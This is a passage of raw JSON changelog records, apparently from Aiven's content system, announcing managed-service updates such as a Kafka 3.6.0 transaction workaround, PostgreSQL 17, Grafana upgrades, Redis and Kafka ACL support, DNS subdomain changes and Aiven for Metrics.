"},{"_key":"d9ae5287cf913","_type":"span","marks":["df9bf2d71462"],"text":"Datadog and Aiven documentation"},{"_key":"d9ae5287cf914","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"367296da3a3c","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/integration.html#avn-service-integration-list"},{"_key":"df9bf2d71462","_type":"link","href":"https://docs.aiven.io/docs/integrations/datadog.html"}],"style":"normal"}],"publishedAt":"2022-12-08T15:01:00.000Z","tags":[{"_key":"a2124106320f","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Aiven for OpenSearch now includes additional configuration for Datadog monitoring"} {"__i18n_lang":"en","_createdAt":"2023-12-06T10:25:33Z","_id":"f4fa21db-ce55-4bb4-9656-a8ff48be2ba4","_rev":"qGO7x5curYKYCZh8YPTbGm","_type":"changelog","_updatedAt":"2023-12-06T12:30:02Z","changeType":"new","description":[{"_key":"4f7fca209e95","_type":"block","children":[{"_key":"91d962ba17a60","_type":"span","marks":[],"text":"In Apache Kafka 3.6.0, a critical transaction write issue has emerged, which is linked to an upstream Kafka bug. To prevent encountering the "},{"_key":"f3ae386b00d6","_type":"span","marks":["code"],"text":"UNKNOWN_SERVER_ERROR"},{"_key":"fd11ada037a8","_type":"span","marks":[],"text":" during data generation, if you are using a producer client with a version earlier than 3.6.0, you are advised to temporarily set the "},{"_key":"8dce7bb9e90b","_type":"span","marks":["code"],"text":"transaction_partition_verification_enable"},{"_key":"f0f2ec0e798c","_type":"span","marks":[],"text":" property to "},{"_key":"bb1f90c7021c","_type":"span","marks":["code"],"text":"FALSE"},{"_key":"2a8160801412","_type":"span","marks":[],"text":" in your service "},{"_key":"d07788b2f128","_type":"span","marks":["f35169201f58"],"text":"advanced configuration"},{"_key":"e8dc1dc06538","_type":"span","marks":[],"text":".\n\nThis setting is temporary and can be reverted to "},{"_key":"2f3bf9be1226","_type":"span","marks":["code"],"text":"TRUE"},{"_key":"b1111beada44","_type":"span","marks":[],"text":" after upgrading to 3.6.0. Turning off transaction verification is not anticipated to affect client transactions on earlier versions. However, if you have already updated to client version 3.6.0, transaction duplicates are possible if this feature is disabled. \n\nThis issue is anticipated to be resolved in Apache Kafka 3.6.1. For more information on the upstream issue, see the detailed description for "},{"_key":"91d962ba17a61","_type":"span","marks":["2a17d9e12499"],"text":"KAFKA-15653"},{"_key":"91d962ba17a62","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"2a17d9e12499","_type":"link","href":"https://issues.apache.org/jira/browse/KAFKA-15653"},{"_key":"f35169201f58","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/reference/advanced-params#transaction-partition-verification-enable"}],"style":"normal"}],"publishedAt":"2023-12-06T11:04:02.595Z","tags":[{"_key":"7588c099ba31","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka 3.6.0: Recommended actions to prevent transaction write issues"} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:48:41Z","_id":"f50245cd-6256-4102-8513-deac5df78f8a","_rev":"cmQvgZcsUwgFEQbM0TLXYN","_type":"changelog","_updatedAt":"2022-12-22T10:44:28Z","changeType":"improved","description":[{"_key":"1eac20dde27f","_type":"block","children":[{"_key":"50dc15d17f5f0","_type":"span","marks":[],"text":"This release comprises several fixes and improvements to help you create and share dashboards and alerts. Some of the key highlights in this release include the new panel help option, which enables a new way to connect with support teams about panel issues. A more simplified query variable editor for Grafana Loki. Improvements to access control and Grafana alerting with new error rules. To learn more, see "},{"_key":"50dc15d17f5f1","_type":"span","marks":["bdb94cf8d269"],"text":"What's new in Grafana 9.2"},{"_key":"50dc15d17f5f2","_type":"span","marks":[],"text":", "},{"_key":"50dc15d17f5f3","_type":"span","marks":["0ec1ee65c16d"],"text":"Grafana changelog"},{"_key":"50dc15d17f5f4","_type":"span","marks":[],"text":", and "},{"_key":"50dc15d17f5f5","_type":"span","marks":["6ac685237405"],"text":"Aiven for Grafana"},{"_key":"50dc15d17f5f6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"bdb94cf8d269","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v9-2"},{"_key":"0ec1ee65c16d","_type":"link","href":"https://github.com/grafana/grafana/blob/main/CHANGELOG.md"},{"_key":"6ac685237405","_type":"link","href":"https://docs.aiven.io/docs/products/grafana.html"}],"style":"normal"}],"publishedAt":"2022-10-24T14:48:00.000Z","tags":[{"_key":"7d91b7ca4a2b","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9.2.1 is now available."} {"_createdAt":"2022-10-27T09:06:32Z","_i18n_lang":"en","_id":"f50615f4-510e-4c5a-b0e2-7d819ae46758","_rev":"C4pC7IakZ1PpJ4LWR2B55J","_type":"changelog","_updatedAt":"2022-10-27T09:06:32Z","changeType":"","description":[{"_key":"b54bf2b6-3230-49af-8985-46e6f12430c7","_type":"block","children":[{"_key":"a6b9481c-7a9a-4bfd-88a5-040efec7aa24","_type":"span","marks":[],"text":"Please see the "},{"_key":"5f6120fd-86a9-41b5-9721-a3aba6585172","_type":"span","marks":["m6491790853082"],"text":"release notes"},{"_key":"7ef7da8f-4823-42b5-94bc-408b7f4ec151","_type":"span","marks":[],"text":" and the "},{"_key":"162ced54-48b3-47f9-948a-923ccc02146e","_type":"span","marks":["m11921764835802"],"text":"documentation"},{"_key":"fde9ff2e-4f8a-4eb0-90ab-3577751cde1b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m6491790853082","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms/releases/tag/v1.0.0"},{"_key":"m11921764835802","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-transforms"}],"style":"normal"}],"publishedAt":"2020-06-12T00:00:00.000Z","tags":[{"_key":"ef80bba8-460d-4f46-be54-40e4bb4589a6","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven collection of single message transformations (SMTs) for Kafka Connect has been updated to version 1.0.0"} {"__i18n_lang":"en","_createdAt":"2023-01-25T14:55:29Z","_id":"f5c1476b-d358-4f18-8218-c6c14bb5cf24","_rev":"uS5CizGDduZ6GKphTZPUNc","_type":"changelog","_updatedAt":"2023-01-25T14:55:29Z","changeType":"improved","description":[{"_key":"9995caf86ef6","_type":"block","children":[{"_key":"98d6576f4fe90","_type":"span","marks":[],"text":"Stream Reactor, a collection of Apache Kafka Connect connectors, has been updated to version 4.0.0. This update includes a fix for an issue that prevented running the Apache Cassandra Sink connector due to upstream dependency issues. For more information, see "},{"_key":"98d6576f4fe91","_type":"span","marks":["70163abde44e"],"text":"Release notes"},{"_key":"98d6576f4fe92","_type":"span","marks":[],"text":" and "},{"_key":"98d6576f4fe93","_type":"span","marks":["0070c41bf125"],"text":"Stream Reactor documentation"},{"_key":"98d6576f4fe94","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"70163abde44e","_type":"link","href":"https://docs.lenses.io/5.0/integrations/connectors/sr-release-notes/#400"},{"_key":"0070c41bf125","_type":"link","href":"https://docs.lenses.io/5.0/integrations/connectors/stream-reactor/"}],"style":"normal"}],"publishedAt":"2023-01-04T14:54:00.000Z","tags":[{"_key":"ca67cbe851b4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Stream Reactor has been updated to version 4.0.0"} {"_createdAt":"2022-10-27T09:02:21Z","_i18n_lang":"en","_id":"f8821d3d-ef4a-4940-8aac-458ad08a6314","_rev":"P6Du4FUPx13pONAPQIFvHu","_type":"changelog","_updatedAt":"2022-10-27T09:02:21Z","changeType":"","description":[{"_key":"fd9518ba-05da-43b4-8f35-0e3c52bbdfa4","_type":"block","children":[{"_key":"cfb1e896-8a6f-4379-8fcf-b84a272bcce4","_type":"span","marks":[],"text":"Please see the "},{"_key":"c0ba46a8-b801-484e-bc3f-1457604a85a4","_type":"span","marks":["m10580708181340"],"text":"Release notes"},{"_key":"e975eb12-6e9a-4dee-a97e-e3304349689c","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m10580708181340","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.0"}],"style":"normal"}],"publishedAt":"2022-07-08T00:00:00.000Z","tags":[{"_key":"f8fbf05a-cc24-4f60-aff6-abb4e5b08f5c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to 3.3.0"} {"__i18n_lang":"en","_createdAt":"2024-07-18T11:47:34Z","_id":"fcde37b3-5072-4ded-b5a6-533bfb43318e","_rev":"lESIXfhUM7GwGlQ32k826t","_type":"changelog","_updatedAt":"2024-07-18T11:47:34Z","changeType":"new","description":[{"_key":"d2ed5b203a3e","_type":"block","children":[{"_key":"a8423538c8660","_type":"span","marks":[],"text":"Aiven for Apache Kafka now supports follower fetching. Consumers can fetch data from the nearest replica instead of the leader, optimizing data fetching and improving performance. \nFor details, see the "},{"_key":"5a1ee26eca59","_type":"span","marks":["3639c5f3c0fe"],"text":"Follower fetching documentation"},{"_key":"dbd86722bad7","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3639c5f3c0fe","_type":"link","href":"https://aiven.io/docs/products/kafka/concepts/follower-fetching"}],"style":"normal"}],"publishedAt":"2024-07-18T11:43:00.000Z","tags":[{"_key":"a49b918d3cb1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Follower fetching in Aiven for Apache Kafka®"} {"_createdAt":"2022-10-27T09:05:49Z","_i18n_lang":"en","_id":"f9c69ca7-716e-493f-9f06-93121828925a","_rev":"RS2LhK1JP0SKK0JvX1QWx1","_type":"changelog","_updatedAt":"2022-10-27T09:05:49Z","changeType":"","description":[{"_key":"0d3a4929-8c5a-4486-a347-90343ab292d9","_type":"block","children":[{"_key":"27491d9c-6919-4679-a688-1727e31b64e0","_type":"span","marks":[],"text":"Please see "},{"_key":"4dd068ae-cc18-4e18-9645-4973f7f9f431","_type":"span","marks":["m8989300617520"],"text":"the documentation"},{"_key":"678c6cdb-8e00-4c92-b2ad-f39f1d7ccf9e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8989300617520","_type":"link","href":"https://docs.mongodb.com/kafka-connector/v1.3"}],"style":"normal"}],"publishedAt":"2020-10-23T00:00:00.000Z","tags":[{"_key":"eecaa5d0-94f7-4a78-b6ba-a8c1c5534e2b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"MongoDB Kafka Sink and Source connectors have been updated to version 1.3.0"} {"_createdAt":"2022-10-27T09:07:01Z","_i18n_lang":"en","_id":"f9df7fdd-780d-4077-b6dc-f780fa56f7e5","_rev":"zF7BMhNhvYpWtPMfHNNPag","_type":"changelog","_updatedAt":"2022-10-27T09:07:01Z","changeType":"","description":[{"_key":"51d4777d-89df-4c9d-8c78-e57420573022","_type":"block","children":[{"_key":"5ed8ec22-2944-425c-9188-872ff2263b2a","_type":"span","marks":[],"text":"Please see the "},{"_key":"1364944c-0376-491a-bb33-0b4253091513","_type":"span","marks":["m8986549540160"],"text":"Release Notes"},{"_key":"d17650d2-20db-499a-83f7-ee5e945623d5","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m8986549540160","_type":"link","href":"https://dev.mysql.com/doc/relnotes/mysql/8.0/en/news-8-0-19.html"}],"style":"normal"}],"publishedAt":"2020-03-04T00:00:00.000Z","tags":[{"_key":"d675afca-702b-4635-aa29-d7f424837bce","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.19 now available"} {"_createdAt":"2022-10-27T09:11:35Z","_i18n_lang":"en","_id":"faac3b90-38da-4044-a119-8999b3803612","_rev":"zF7BMhNhvYpWtPMfHNO7te","_type":"changelog","_updatedAt":"2022-10-27T09:11:35Z","changeType":"","description":[{"_key":"87b14387-68ed-455a-8977-3977b7743d4e","_type":"block","children":[{"_key":"83322ccb-e0e5-4f8f-b533-b07abcfaf479","_type":"span","marks":[],"text":"Username and topic both accept a glob with "},{"_key":"a5ef0576-de8d-4040-95a6-2013c5e947ad","_type":"span","marks":["code"],"text":"*"},{"_key":"b3a1c414-31f2-45e4-b43a-c37c05f6fe48","_type":"span","marks":[],"text":" and "},{"_key":"ce2bc996-1b3b-4cad-8965-e78c3cc03dee","_type":"span","marks":["code"],"text":"?"},{"_key":"4a3907dc-2579-4764-ab64-d16bd1cd0eea","_type":"span","marks":[],"text":" wildcards. Permission granted can be one of "},{"_key":"2a220732-87f4-4905-bfa9-1807038ed0e8","_type":"span","marks":["code"],"text":"read"},{"_key":"51b2102c-c6eb-4628-9b4f-9d41e8d4552b","_type":"span","marks":[],"text":", "},{"_key":"0be39433-a0e2-4799-bf7e-a923617ca029","_type":"span","marks":["code"],"text":"write"},{"_key":"060b6e9f-53b9-452a-abed-2734436b4b23","_type":"span","marks":[],"text":" or "},{"_key":"d308e7ef-0418-450b-93bc-e71f61c345bb","_type":"span","marks":["code"],"text":"readwrite"},{"_key":"293d5b60-d3f2-433c-8c4f-8c3700cbc67c","_type":"span","marks":[],"text":". By default, we allow "},{"_key":"614eadaf-6e2a-419a-8468-e57725cc6eea","_type":"span","marks":["code"],"text":"readwrite"},{"_key":"adfc21d3-434a-476f-a0db-3f320f7383ff","_type":"span","marks":[],"text":" to all topics for all users. Please refer to our "},{"_key":"5697f541-2947-48ba-8064-a6d0e3d1585f","_type":"span","marks":["m1102427193202"],"text":"help article"},{"_key":"7b1fb202-1b92-4307-a180-2409e638e367","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m1102427193202","_type":"link","href":"https://help.aiven.io/kafka/kafka-users-and-access-control"}],"style":"normal"}],"publishedAt":"2017-07-15T00:00:00.000Z","tags":[{"_key":"f22ac1aa-c3e0-4a09-a22c-cab60610158b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka user and topic Access Control List (ACL) support now available"} {"_createdAt":"2022-10-27T09:04:10Z","_i18n_lang":"en","_id":"fbea6734-0382-43a5-933d-cda283a9bf43","_rev":"jxjwnOsJAgDXPDj4qmcE4Q","_type":"changelog","_updatedAt":"2022-10-27T09:04:10Z","changeType":"","description":[{"_key":"bba2ecfb-461d-465b-81e0-a202ce1bcc30","_type":"block","children":[{"_key":"83d28143-1d27-48d2-962c-d7d4c019ef52","_type":"span","marks":[],"text":"Fix Redis ACL parsing issue causing Redis users with default ACLs to disappear."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-06-04T00:00:00.000Z","tags":[{"_key":"96f75816-bcf9-400d-a364-ac3762a5406e","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Add support for Redis channels ACL customization"} {"_createdAt":"2022-10-27T09:11:56Z","_i18n_lang":"en","_id":"fc47130b-cf59-4d63-b3d2-c976c7be8a1a","_rev":"zF7BMhNhvYpWtPMfHNOLAA","_type":"changelog","_updatedAt":"2022-10-27T09:11:56Z","changeType":"","description":[{"_key":"face1b43-c8d0-4674-b105-e56d59346b01","_type":"block","children":[{"_key":"393ab30a-7e6d-4ccd-b479-454d6cefadde","_type":"span","marks":[],"text":"The connector allows you to insert automatically all the data in a Kafka topic to an Elasticsearch service."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-04-20T00:00:00.000Z","tags":[{"_key":"725859fd-5007-4aa9-af6e-a673bcf3f9dd","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Add support for Elasticsearch Kafka Connect connector"} {"_createdAt":"2022-10-27T09:07:45Z","_i18n_lang":"en","_id":"fc6a3414-6c7e-45d3-82cb-290482415756","_rev":"C4pC7IakZ1PpJ4LWR2B5u7","_type":"changelog","_updatedAt":"2022-10-27T09:07:45Z","changeType":"","publishedAt":"2019-10-17T00:00:00.000Z","tags":[{"_key":"6d6c3a15-9bab-4300-85ec-883eb57f7d14","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL now has the tsm_system_rows extension available."} {"_createdAt":"2022-10-27T09:11:51Z","_i18n_lang":"en","_id":"fcae0668-86bb-477a-bab9-69979db0a607","_rev":"HEiYk6nGjmUICadcDbTqFD","_type":"changelog","_updatedAt":"2022-10-27T09:11:51Z","changeType":"","description":[{"_key":"8fd1ec7e-bce1-41f2-8be8-87315f7e94b0","_type":"block","children":[{"_key":"74f3c2e8-b788-4b23-b63c-98f39d49b33c","_type":"span","marks":[],"text":"The avnadmin user can now CREATE ROLEs directly without using the web "},{"_key":"285537e6-5212-482f-9d4f-fab733c018de","_type":"span","marks":["m12080747937918"],"text":"console."}],"markDefs":[{"_key":"m12080747937918","_type":"link","href":"https://console.aiven.io"}],"style":"normal"}],"publishedAt":"2017-05-08T00:00:00.000Z","tags":[{"_key":"866122ba-62a3-4802-ad76-02001694166b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Added create role permissions for avnadmin user"} {"_createdAt":"2022-10-27T09:11:50Z","_i18n_lang":"en","_id":"fe33d1d5-c98b-4be4-99e8-1e8a1cc7bc14","_rev":"7JYD5XroFCjaK9NJzk43ae","_type":"changelog","_updatedAt":"2022-10-27T09:11:50Z","changeType":"","description":[{"_key":"8f036237-55d0-4b2a-bca5-1cd846912642","_type":"block","children":[{"_key":"65d8ae42-0a57-420d-8f9c-1551979e830f","_type":"span","marks":[],"text":"To turn the feature on for your Aiven for Redis service please send a request to: "},{"_key":"0d8fa966-e851-4172-b190-61667a3822db","_type":"span","marks":["m14646681439089"],"text":"support@aiven.io"}],"markDefs":[{"_key":"m14646681439089","_type":"link","href":"mailto:support@aiven.io"}],"style":"normal"}],"publishedAt":"2017-05-09T00:00:00.000Z","tags":[{"_key":"0e5548fd-16c1-4259-8455-3081d68b2a22","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Can now allow \u003ca href=\"https://redis.io/commands/eval\" rel=\"nofollow noopener noreferrer\"\u003eEVAL\u003c/a\u003e and \u003ca href=\"https://redis.io/commands/evalsha\" rel=\"nofollow noopener noreferrer\"\u003eEVALSHA\u003c/a\u003e feature use based on request"} {"_createdAt":"2022-10-27T09:08:17Z","_i18n_lang":"en","_id":"fe4a923f-5502-4beb-9ae6-f4bcf30841ab","_rev":"zF7BMhNhvYpWtPMfHNNcjK","_type":"changelog","_updatedAt":"2022-10-27T09:08:17Z","changeType":"","description":[{"_key":"250ae425-4c29-4358-bd04-98022371a193","_type":"block","children":[{"_key":"092fa578-b388-49cb-80fa-f56cd07f8f43","_type":"span","marks":[],"text":"See "},{"_key":"68844e77-8f0c-4a67-bcb0-97f599793653","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"b99002c8-afdf-4fb5-b9ba-afffe48e2e11","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2019-06-20T00:00:00.000Z","tags":[{"_key":"a7dbc9a0-01a8-4e39-ae7f-a180f68adb14","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.4, 10.9, 9.6.14 and 9.5.18"} {"_createdAt":"2022-10-27T09:09:51Z","_i18n_lang":"en","_id":"ff293a72-eefa-4121-b524-b9ae6846c87f","_rev":"zF7BMhNhvYpWtPMfHNNraE","_type":"changelog","_updatedAt":"2022-10-27T09:09:51Z","changeType":"","description":[{"_key":"4e28cea5-5560-40b2-8e7d-0f7e92f918fa","_type":"block","children":[{"_key":"a6a35f84-2bbe-483d-8f50-17680c34edce","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"9d44a825-6cbe-4404-a434-f66099297283","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"22917a15-c076-495a-ac76-a2a8b85ca11a","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2018-08-13T00:00:00.000Z","tags":[{"_key":"e54b3315-d935-44d8-a012-0f8d92447927","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Grafana updated to 5.2.2"} {"_createdAt":"2022-10-27T09:02:36Z","_i18n_lang":"en","_id":"ff6060d5-816f-45e7-a863-38340889bb65","_rev":"RS2LhK1JP0SKK0JvX1Pb31","_type":"changelog","_updatedAt":"2022-10-27T09:02:36Z","changeType":"","description":[{"_key":"6c28f886-6dba-4ae3-bfd2-d2a625bdaf53","_type":"block","children":[{"_key":"54cd3a7e-7ade-43ca-a4e9-3af59120c170","_type":"span","marks":[],"text":"Please see the "},{"_key":"72d44b59-2171-4bf8-a2ce-bf5790e04f0f","_type":"span","marks":["m5028298455574"],"text":"Changelog"},{"_key":"4cb38533-436f-4f8e-b7e8-50dfe66e9b91","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m5028298455574","_type":"link","href":"https://github.com/opensearch-project/opensearch-build/blob/main/release-notes/opensearch-release-notes-1.3.2.md"}],"style":"normal"}],"publishedAt":"2022-05-19T00:00:00.000Z","tags":[{"_key":"142313b4-a89e-4ed5-b89e-9c48ec4b83b4","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Updated OpenSearch to version 1.3.2"} {"_createdAt":"2022-10-27T09:06:42Z","_i18n_lang":"en","_id":"ffa2debd-58a4-4e11-baad-8cd76a670fa9","_rev":"ri8ZjU8zRgh6Niwltv1BoP","_type":"changelog","_updatedAt":"2022-10-27T09:06:42Z","changeType":"","description":[{"_key":"5c9de3e8-4c91-4a32-b3a9-76f139a70495","_type":"block","children":[{"_key":"4b9b2ce1-7fe8-414c-911d-fe83d0ddbdc8","_type":"span","marks":[],"text":"The extension pg_partman is also updated to version 4.3.0 and is now available on PG11 and 12. See "},{"_key":"0919c6c5-625c-4476-ac2e-267e92417a7f","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"7b5b491d-bf4a-4b2f-a3dd-ff0897b84d69","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2020-05-18T00:00:00.000Z","tags":[{"_key":"9efbe2dd-ce0c-43ef-9002-356bc9208974","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 12.3, 11.8, 10.13, 9.6.18 and 9.5.22"} {"__i18n_lang":"en","_createdAt":"2024-12-16T14:06:07Z","_id":"f343a5d8-8609-4bb5-9c14-cff51898c67f","_rev":"KFPdjtNswOAQxKeneFkMDV","_type":"changelog","_updatedAt":"2024-12-16T17:39:35Z","changeType":"improved","description":[{"_key":"f2b64e25372d","_type":"block","children":[{"_key":"643cd44f976d0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® 17 is now available on the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"9089aa005447","_type":"block","children":[{"_key":"ea18b69843960","_type":"span","marks":[],"text":"This version brings key capabilities and performance improvements:"}],"markDefs":[],"style":"normal"},{"_key":"ece8d21a6991","_type":"block","children":[{"_key":"4d0cd268dc5b0","_type":"span","marks":["strong"],"text":"Enhanced query and vacuum performance"},{"_key":"4d0cd268dc5b1","_type":"span","marks":[],"text":", such as faster sequential reads and reduced vacuum memory usage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c54ae59e4a36","_type":"block","children":[{"_key":"3a1879cc68940","_type":"span","marks":["strong"],"text":"Logical replication improvements"},{"_key":"3a1879cc68941","_type":"span","marks":[],"text":", such as failover control and preserving slots during upgrades"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"49bda8593a4e","_type":"block","children":[{"_key":"52351d1fc02a0","_type":"span","marks":["strong"],"text":"Developer features"},{"_key":"52351d1fc02a1","_type":"span","marks":[],"text":", such as constructors, identity functions, and the "},{"_key":"ffee525014ea","_type":"span","marks":["code"],"text":"JSON_TABLE()"},{"_key":"5dc5328d42ca","_type":"span","marks":[],"text":" function"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"65723b1dce61","_type":"block","children":[{"_key":"c1f14a9e0e9b0","_type":"span","marks":["strong"],"text":"Improved bulk loading"},{"_key":"c1f14a9e0e9b1","_type":"span","marks":[],"text":" with the new "},{"_key":"6c439fbd7603","_type":"span","marks":["code"],"text":"COPY"},{"_key":"9877ebe36703","_type":"span","marks":[],"text":" option "},{"_key":"7c02bcd482fd","_type":"span","marks":["code"],"text":"ON_ERROR ignore"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"73a9ccc2a217","_type":"block","children":[{"_key":"ad29d411765c0","_type":"span","marks":[],"text":"Strengthened security with direct TLS handshake options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"faadac28eb75","_type":"block","children":[{"_key":"571110a96cda0","_type":"span","marks":[],"text":"For more information on what PostgreSQL version 17 introduces, see "},{"_key":"571110a96cda1","_type":"span","marks":["c48ceaafae21"],"text":"PostgreSQL 17 release notes"},{"_key":"571110a96cda2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"c48ceaafae21","_type":"link","href":"https://www.postgresql.org/docs/release/17.0/"}],"style":"normal"}],"publishedAt":"2024-12-09T17:39:00.000Z","tags":[{"_key":"7fbd71ab2bec","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® 17 released"} {"__i18n_lang":"en","_createdAt":"2024-04-08T12:11:18Z","_id":"4f5f62d1-bbeb-41c9-bc58-0ee4a7bd7c82","_rev":"fK7wdLq8UW1gYGPgn8Vb2d","_type":"changelog","_updatedAt":"2024-04-08T13:00:19Z","changeType":"improved","description":[{"_key":"338b22ce25a1","_type":"block","children":[{"_key":"507c159a6c8b0","_type":"span","marks":[],"text":"From the week starting on 15 April, new services created on the Aiven platform will be given service hostnames in randomly assigned third-level DNS domains ("},{"_key":"e8fb3facca54","_type":"span","marks":["em"],"text":"a.aivencloud.com"},{"_key":"0bf361a775d1","_type":"span","marks":[],"text":" - "},{"_key":"098d23952199","_type":"span","marks":["em"],"text":"l.aivencloud.com"},{"_key":"f154858aa9eb","_type":"span","marks":[],"text":"). This will balance load across DNS zones and improve service scalability.\nUsers of the Aiven API should not place any naming constraints when validating the fully qualified domain name returned by the API because the subdomain scheme or the "},{"_key":"3ff50c3b693f","_type":"span","marks":["em"],"text":"aivencloud.com"},{"_key":"e9fea158ba3a","_type":"span","marks":[],"text":" domain name itself may change in the future.\nFor reference, preview "},{"_key":"507c159a6c8b7","_type":"span","marks":["996698f85046"],"text":"Default service hostname"},{"_key":"507c159a6c8b8","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"996698f85046","_type":"link","href":"https://aiven.io/docs/platform/reference/service-ip-address#default-service-hostname"}],"style":"normal"}],"publishedAt":"2024-04-08T12:05:00.000Z","tags":[{"_key":"b6523aed0743","_ref":"8d65be65-39e0-4efa-ad0c-87342113389c","_type":"tool"},{"_key":"5c74d0cf9417","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"},{"_key":"50ecbd90a57b","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"New Aiven services to be distributed in multiple DNS subdomains"} {"__i18n_lang":"en","_createdAt":"2024-10-02T14:13:23Z","_id":"0a9b8eb9-8c2d-4f23-8aea-fa54a6779e9b","_rev":"Tpe1Rj6o9fDmGqbWvlOGio","_type":"changelog","_updatedAt":"2024-10-09T08:05:59Z","changeType":"new","description":[{"_key":"4c4eda79cb64","_type":"block","children":[{"_key":"4f2ca5d21d7f0","_type":"span","marks":[],"text":"Aiven for Metrics, powered by Thanos, simplifies large-scale metrics management and analysis. It offers a scalable, reliable service for handling real-time and historical data with Prometheus integration."}],"markDefs":[],"style":"normal"},{"_key":"e3579a91f725","_type":"block","children":[{"_key":"15dbea9db3090","_type":"span","marks":["strong"],"text":"Key features:"}],"markDefs":[],"style":"normal"},{"_key":"8f25ae0204fe","_type":"block","children":[{"_key":"55323d3ff9550","_type":"span","marks":[],"text":"Centralized monitoring across multiple Prometheus servers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ba9825364ed0","_type":"block","children":[{"_key":"d7022c9a72360","_type":"span","marks":[],"text":"Unlimited retention with scalable object storage"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"23b603666a07","_type":"block","children":[{"_key":"12ec024fd6820","_type":"span","marks":[],"text":"Efficient query performance with downsampling and compacting"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9fd3c6d90f72","_type":"block","children":[{"_key":"05fee8ff25e20","_type":"span","marks":[],"text":"Fully managed with optimized Thanos components for simplified operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"423b11f5c610","_type":"block","children":[{"_key":"6daba541694d0","_type":"span","marks":[],"text":"Aiven for Metrics allows you to focus on extracting insights and making better decisions from your data. For more details, see the "},{"_key":"08eb58e2bd3d","_type":"span","marks":["aa14918522cb"],"text":"Aiven for Metrics 